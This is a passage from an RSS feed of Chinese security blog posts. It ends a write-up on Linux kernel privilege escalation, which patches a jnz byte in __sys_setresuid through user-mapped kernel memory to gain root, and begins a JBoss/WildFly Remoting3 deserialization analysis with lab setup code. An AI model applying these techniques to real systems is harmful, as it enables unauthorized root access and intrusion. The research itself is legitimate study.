16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在vm_insert_page()函数里调用了validate_page_before_insert()函数做页检查，validate_page_before_insert()函数对映射的pg_vec数组里的buffer所属page的类型进行了判断，过滤了匿名页、属于slab对象的页、属于buddy系统的页、属于交换内存的页、属于分页管理中页表的页、属于内存屏障的页，以上页类型都不能映射，恰好我们要映射的是内核代码段，是可以映射到用户态的。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy0vbWLYvLV2dGAK2snvWEkvTauHVjGD89DJeYO9qRN1sHiaareUat7knYLQnkZeGRbRYpiazveia2La/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">/mm/memory.c<br/>static int validate_page_before_insert(struct page *page)<br/>{<br/> <span style="color: #c678dd;line-height: 26px;">if</span> (PageAnon(page) || PageSlab(page) || page_has_type(page))<br/>  <span style="color: #e6c07b;line-height: 26px;">return</span> -EINVAL;<br/> flush_dcache_page(page);<br/> <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">硬编码篡改</strong>：__sys_setresuid函数被映射到用户态后，读取一个PAGE_SIZE大小的内核内存，<span style="letter-spacing: 0px;">考</span><span style="letter-spacing: 0px;">虑到需要篡改call  ns_capable_setid调用之后的判断，对test  al,al  jnz short loc_FFFFFFFF810BE1C4的汇编作一番篡改，最简单的方法就是将jnz/jne改为jz/je，由机器码，0x75改为0x74，由于映射的内存范围很大，所以我将0x84 0xC0 0x75 0x59作为特征进行搜索定位。</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5565509518477044" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="893" src="https://wechat2rss.xlab.app/img-proxy/?k=0afacb9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblU2jbTMuQgApcXcDHYwb7oxggkIFwG1iaT4gfVw099bPXQyyuwzXIzgw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">这段机器码由0x84 0xC0 0x75 0x59变为0x84 0xC0 0x74 0x59，jne变为je。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">篡改前：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8893499308437067" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="723" src="https://wechat2rss.xlab.app/img-proxy/?k=61b61b7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblmzfNEkJDCN1pc1QP3Ur9TSe0ic4ibENZUUEzSoJqNXGxnBgPzwwuXj0Q%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">篡改后：</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.9129129129129129" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="666" src="https://wechat2rss.xlab.app/img-proxy/?k=ab94b897&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblWwCysMW1NK7Hzh03ZzzVEiaWvSA0KkP3IuytrsBFKJYzjwdyf63arFw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"><br/></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;">提权</strong>：经过上述对内核函数__sys_setresuid的篡改，再通过调用setresuid(0,0,0);即可将普通用户进程提权至root用户权限。</p><img class="rich_pages wxw-img" style="display: block;margin: 0 auto;max-width: 100%;zoom: 100%;" data-type="gif" src="https://wechat2rss.xlab.app/img-proxy/?k=b48b14eb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F3pMKYkVJQD4narPZiclQmV5Hc56k1zSiblfkwcu7MXzfHRLH17rs3uOmtb99m6mTgGaibPeRibm3LfgUK2Ho7Yvt0Q%2F640%3Fwx_fmt%3Dgif"/><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span>3.总结</h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">上述两种提权方式，经过实现与调试，篡改modprobe_path提权和USMA(用户态映射攻击)两者都是通过任意写完成的提权，不用一堆gadget，相比ROP的提权方式而言，适配效率更高，限制更小，让任意写提权相对显得更加&#34;高大上&#34;。篡改modprobe_path提权相比于USMA利用，前者相较而言更加通用。</p></section><p><br/></p>



<p><a href="2247485281">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=21bad7f5&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MTY0MDc1Mw%3D%3D%26mid%3D2247485281%26idx%3D1%26sn%3D70d072ef11ee31e1a4cdc28888a7477f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Aug 2022 20:10:00 +0800</pubDate>
    </item>
    <item>
      <title>​JBoss \ WildFly remoting3协议反序列化分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MTY0MDc1Mw==&amp;mid=2247485222&amp;idx=1&amp;sn=8c05e41493c3b9229a9529070614408c</link>
      <description>前段时间分析了JBoss 3873和4446端口下的反序列化，受影响的版本最晚已经是2011年发布的</description>
      <content:encoded><![CDATA[<p>
原创 <span>p1ay2win</span> <span>2022-07-06 21:16</span> <span style="display: inline-block;">北京</span>
</p>

<p>前段时间分析了JBoss 3873和4446端口下的反序列化，受影响的版本最晚已经是2011年发布的</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=26c7ae96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpyVnsqP9vW90eazz0Rtbt4LqHs7gJVs2Pd5eoibwkP7zrgYNicnI0c5Pw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span>前言</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">前段时间分析了JBoss 3873和4446端口下的反序列化，受影响的版本最晚已经是2011年发布的，而JBoss EAP 6.X及WildFly\JBoss AS 7.X等后续版本，它们反序列化相关的CVE就很少了。归根结底，是因为以上所说的后续版本弃用了原来的Remoting2协议，启用了Remoting3协议。本文以Remoting3的反序列化相关问题展开分析。</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span><span>Remoting3简介</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Remoting3是JBoss Remoting的下一代协议，它在具备上一代协议所具有的功能的同时，还引入了以下一些性功能。</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">可拓展的传输协议</section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">可以在运行时检测其他的协议</section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">可拓展的打包策略（Marshalling Strategies）</section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">使用强大的JBoss打包库</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">相比明文的Java序列化更高效</section></li></ul><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">安全功能</section></li><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: square;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">支持SSL协议，可以保护传输数据的完整性和机密性，同时也可用来认证服务端</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;">支持SASL框架，可进行客户端认证和授权</section></li></ul></ul><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">通过抓包对比，正如官网介绍所说，Remoting3协议不同于Remoting2的几乎明文的Java序列化数据，并且在默认配置下需要先进行客户端的认证才可使用后续的EJB3服务。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.44554455445544555" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1919" src="https://wechat2rss.xlab.app/img-proxy/?k=a246402f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpYp5ehb1E40neFkdVicQ8lsPkNWUDqcGbe4UCJVP0lemA43qOkwrGicZA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;">1</figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">前面所说的可拓展的传输协议，体现在JBoss上即为HTTP服务8080端口的。Remoting3协议支持两种EJB3服务监听模式：直接监听一个端口和复用HTTP服务的端口。前者是JBoss EAP 6.X和JBoss AS 7.X使用的模式，对应的scheme是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">remote://</code>，而后者是JBoss EAP 7.X和WildFly使用的模式，对应的scheme是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">http-remoting://</code>或<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">http://</code>（视版本而定）。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">端口复用这块从流量这看是比较简单，客户端先发送一个带<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">Upgrade: jboss-remoting</code>头的HTTP请求，然后服务端返回101状态码切换协议，后续流量则与监听端口的模式无异。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5998043052837574" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1022" src="https://wechat2rss.xlab.app/img-proxy/?k=a7a2f6fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpPZFRfeg02QicIhzeL1gficV49eFk2wqyf7DWerXMMg7K7YB6iaiaDoHdIA%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.6558823529411765" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1020" src="https://wechat2rss.xlab.app/img-proxy/?k=9bd26c2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjpQgczwuwjoA0VeHt5yqhEO9xMVicBjNpTa06N1TEBmbdI9Urz2YdDfsg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span><span>环境部署</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">Remoting3协议服务于EJB3，而EJB3与RMI类似，支持对象传参，涉及到对象参数必然会与序列化和反序列化扯上关系。要研究Remoting3协议的反序列化机制，首先得部署一个EJB3的服务。本文后续的分析均以WildFly 8.2.1.Final为例，下载相应的版本，在启动前先使用<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">bin/add-user.sh</code>脚本添加一个用户。</p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">将以下两个类编译为Jar包，并从9990端口登录到控制台，部署打包好的Jar包。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy2GiapelXJBNFCwQHeHUxP49A90kpyMtHxhzjs2fpZgP6fgy2JJOpgZ55J2AticxS0XM3PKAicLCB5r/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">package</span> com.illucit.ejbremote.server;<br/><span style="color: #c678dd;line-height: 26px;">import</span> javax.ejb.Remote;<br/><span style="color: #61aeee;line-height: 26px;">@Remote</span><br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">interface</span> <span style="color: #e6c07b;line-height: 26px;">ExampleService</span> </span>{<br/> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">greet</span><span style="line-height: 26px;">(Object object)</span></span>;<br/>}<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy2GiapelXJBNFCwQHeHUxP49A90kpyMtHxhzjs2fpZgP6fgy2JJOpgZ55J2AticxS0XM3PKAicLCB5r/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">package</span> com.illucit.ejbremote.server;<br/><span style="color: #c678dd;line-height: 26px;">import</span> javax.ejb.Stateless;<br/><span style="color: #61aeee;line-height: 26px;">@Stateless</span><br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">ExampleServiceImpl</span> <span style="color: #c678dd;line-height: 26px;">implements</span> <span style="color: #e6c07b;line-height: 26px;">ExampleService</span> </span>{<br/>    <span style="color: #61aeee;line-height: 26px;">@Override</span><br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> Object <span style="color: #61aeee;line-height: 26px;">greet</span><span style="line-height: 26px;">(Object object)</span> </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> object;<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">新建一个Java项目，并将WildFly的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">bin/client</code>目录下的jar包复制到项目的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">lib</code>目录，同时将以上两个类也加入到项目中。然后在<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">resource</code>目录下添加<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">jboss-ejb-client.properties</code>，填入以下配置内容。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy2GiapelXJBNFCwQHeHUxP49A90kpyMtHxhzjs2fpZgP6fgy2JJOpgZ55J2AticxS0XM3PKAicLCB5r/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">remote.connections=default<br/>remote.connection.default.host=192.168.78.132<br/>remote.connection.default.port = 8080<br/>remote.connection.default.username=&lt;username&gt;<br/>remote.connection.default.password=&lt;password&gt;<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">最后添加以下类作为客户端，调用远程EJB3服务。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ib9Sb5VNvaCcy2GiapelXJBNFCwQHeHUxP49A90kpyMtHxhzjs2fpZgP6fgy2JJOpgZ55J2AticxS0XM3PKAicLCB5r/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">import</span> com.illucit.ejbremote.server.ExampleService;<br/><span style="color: #c678dd;line-height: 26px;">import</span> javax.naming.Context;<br/><span style="color: #c678dd;line-height: 26px;">import</span> javax.naming.InitialContext;<br/><span style="color: #c678dd;line-height: 26px;">import</span> javax.naming.NamingException;<br/><span style="color: #c678dd;line-height: 26px;">import</span> java.util.Date;<br/><span style="color: #c678dd;line-height: 26px;">import</span> java.util.Hashtable;<br/><span style="color: #c678dd;line-height: 26px;">public</span> <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">class</span> <span style="color: #e6c07b;line-height: 26px;">Client</span> </span>{<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">public</span> <span style="color: #c678dd;line-height: 26px;">static</span> <span style="color: #c678dd;line-height: 26px;">void</span> <span style="color: #61aeee;line-height: 26px;">main</span><span style="line-height: 26px;">(String[] args)</span> <span style="color: #c678dd;line-height: 26px;">throws</span> Exception </span>{<br/>        System.out.printf(String.valueOf(lookupExample().greet2(<span style="color: #c678dd;line-height: 26px;">new</span> Date())));<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;">private</span> <span style="color: #c678dd;line-height: 26px;">static</span> ExampleService <span style="color: #61aeee;line-height: 26px;">lookupExample</span><span style="line-height: 26px;">()</span> <span style="color: #c678dd;line-height: 26px;">throws</span> NamingException </span>{<br/>        <span style="color: #c678dd;line-height: 26px;">final</span> Hashtable&lt;String, String&gt; jndiProperties = <span style="color: #c678dd;line-height: 26px;">new</span> Hashtable();<br/>        jndiProperties.put(Context.URL_PKG_PREFIXES, <span style="color: #98c379;line-height: 26px;">&#34;org.jboss.ejb.client.naming&#34;</span>);<br/>        <span style="color: #c678dd;line-height: 26px;">final</span> Context context = <span style="color: #c678dd;line-height: 26px;">new</span> InitialContext(jndiProperties);<br/>        String url = <span style="color: #98c379;line-height: 26px;">&#34;ejb:/ejb-remote-server/ExampleServiceImpl!&#34;</span> + ExampleService<span style="line-height: 26px;">.<span style="color: #c678dd;line-height: 26px;">class</span>.<span style="color: #e6c07b;line-height: 26px;">getName</span>()</span>;<br/>        System.out.println(url);<br/>        <span style="color: #c678dd;line-height: 26px;">return</span> (ExampleService) context.lookup(url);<br/>    }<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">![](屏幕截图 2022-06-24 180627.png)</p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 22px;"><span style="display: none;"></span><span>技术分析</span><span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">首先用一个在服务端不存在的类作为参数，调用EJB3服务。在客户端抛出的异常信息的调用栈中，可以看到<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.jboss.marshalling.AbstractObjectInput</code>的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">readObject</code>方法被调用。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5169902912621359" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="1236" src="https://wechat2rss.xlab.app/img-proxy/?k=d260aa76&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjp0sOb8Zukt7YG1akZJSFJ8ibNkV9EarictCNJLFTQY1LG69jH123zQgqQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">在服务端该方法下断点，当前的类是<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">AbstractObjectInput</code>的子类<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">org.jboss.marshalling.river.RiverUnmarshaller</code>，反序列化调用自身的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">doReadObject</code>方法处理。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.5071542130365659" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="629" src="https://wechat2rss.xlab.app/img-proxy/?k=6a551901&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD6NjghjpgXTMPoL9nahPfjp6v9wdwSF5lYjo1ibkPPyXk3wial9KPh9SZ1xR6o6ibwH80IHCczlCZaFQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;">跟进到<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">doReadObject</code>方法，代码中会有一个switch循环体，根据从输入流获取到的字节进入不同的分支。后续会被调用到的<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">doReadNewObject</code>和<code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;color: #1e6bb8;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;">doReadClassDescriptor</code>也会有一个switch循环体，想必就是官方所说的可拓展的打包策略。</p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.4728761514841351" style="display: block;margin: 0 auto;max-width: 100%;" data-type="png" data-w="977" 